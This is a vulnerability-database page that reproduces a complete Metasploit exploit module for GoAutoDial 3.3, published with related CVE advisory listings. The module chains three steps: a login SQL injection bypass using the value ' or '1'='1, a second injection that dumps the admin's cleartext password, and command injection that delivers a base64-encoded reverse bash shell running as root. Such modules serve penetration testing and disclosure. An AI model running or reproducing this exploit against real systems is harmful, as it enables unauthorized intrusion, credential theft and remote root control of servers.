Lucene search
K

GoAutoDial 3.3 Authentication Bypass / Command Injection Exploit

🗓️ 05 Jul 2017 00:00:00Reported by Chris McCurleyType 
zdt
 zdt
🔗 0day.today👁 162 Views

GoAutoDial 3.3 Authentication Bypass & Command Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GoAutoDial SQL Injection / Command Execution / File Upload Vulnerabilities
21 Apr 201500:00
zdt
Circl
CVE-2015-2843
21 Apr 201500:00
circl
Circl
CVE-2015-2845
21 Apr 201500:00
circl
CNVD
GoAutoDial GoAdmin CE SQL Injection Vulnerability
14 May 201500:00
cnvd
CNVD
GoAutoDial GoAdmin CE 'cpanel' Arbitrary Command Execution Vulnerability
14 May 201500:00
cnvd
Check Point Advisories
GoAutoDial 3.3 Authentication Bypass Command Injection (CVE-2015-2843; CVE-2015-2844; CVE-2015-2845)
4 Jul 201700:00
checkpoint_advisories
CVE
CVE-2015-2843
12 May 201519:00
cve
CVE
CVE-2015-2845
12 May 201519:00
cve
Cvelist
CVE-2015-2843
12 May 201519:00
cvelist
Cvelist
CVE-2015-2845
12 May 201519:00
cvelist
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
      'Description'    => %q{
          This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris McCurley',  # Discovery & Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-2843'],
          ['CVE', '2015-2845']
        ],
      'Platform'       => %w{unix},
      'Arch'            => ARCH_CMD,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 21 2015'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptBool.new('SSL', [false, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end


  def check
    res = check_version()
    if res and res.body =~ /1421902800/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def check_version()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'changelog.txt'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      }
    })
  end

  def sqli_auth_bypass()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'user_name'   => 'admin',
        'user_pass'   => '\'%20or%20\'1\'%3D\'1'
      }
    })
  end

  def sqli_admin_pass(cookies)
   uri = target_uri.path

   send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => cookies
      }
    })
  end

  #
  # Run the actual exploit
  #
  def execute_command()

    encoded = Rex::Text.encode_base64("#{payload.encoded}")
    params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => @cookie
      }
    })
  end


  def exploit()
    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    res1 = sqli_auth_bypass()

    if res1 && res1.code == 200
      print_good('Authentication Bypass (SQLi) was successful')
    else
      print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
    end

    @cookie = res1.get_cookies
    print_status("#{rhost}:#{rport} - Dumping admin password...")
    res = sqli_admin_pass(@cookie)

    if res
      print_good(res.body)
    else
      print_error('Error: No creds returned, possible mitigations are in place.')
    end
    print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")

    execute_command()
  end
end

#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation